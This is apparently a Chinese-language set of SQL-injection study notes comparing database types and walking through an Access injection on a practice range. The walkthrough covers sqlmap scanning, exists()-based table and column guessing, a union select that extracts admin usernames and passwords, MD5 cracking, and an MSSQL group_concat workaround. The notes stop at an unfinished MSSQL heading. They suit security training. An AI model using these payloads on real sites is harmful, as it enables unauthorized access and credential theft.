常见数据库:access、mysql、mssql、MongoDB、postgresql、sqlite、oracle、sybase等
Access是没有库之分,比其他数据库低一个等级。目前在市面上的access已经很少了,和asp语言在一起使用。
Mysql中有数据库,库->表->列->数据。而access中只有表、列、数据。
简要学习各种数据库的注入特点
Mssql注入:https://blog.csdn.net/qq_35569814/article/details/100528187
Postgresql注入:https://blog.csdn.net/qq_36119192/article/details/104628797
Oracle注入:https://www.cnblogs.com/peterpan0707007/p/8242119.html
简要学习各种注入工具的使用指南
https://blog.csdn.net/qq_43085611/article/details/112788640
注意:
sqlmap不支持MongoDB的,穿山甲容易误报,nosqlattack可以注入MongoDB。
Access注入
墨者靶场
注入思路与MySQL相同
先判断数据库类型
利用sqlmap(kali里面自带有)进行扫描(sqlmap -u 网址)
扫描出为Access数据库(Access无infoemation_schema)
所以,需要用猜解的方式获得表名列名等
猜表名:id=1 exists(select * from admin),如果页面返回正常(页面不变),则表明存在admin表。
猜列名:id=1 and exists(select username from admin) //页面返回正常,说明存在username列。
id=1 and exists(select passwd from admin) //页面返回正常,说明存在passwd列
获取数据:id=1 union select 1,username,passwd,4 from admin
将密码进行MD5解密
登录获得KEY
Access 暴力猜解不出的问题?
Access 偏移注入:解决列名获取不到的情况
查看登陆框源代码的表单值或观察 URL 特征等也可以针对表或列获取不到的情况。
实现MySQL中的group_concat()函数的用法:
SELECT top 1 id, [name] = stuff((SELECT ',' + [name]
FROM syscolumns sys
WHERE sys.id = syscolumns.id FOR xml path('')) , 1 , 1 , '')
FROM syscolumns where id =2105058535;
Mssql注入步骤: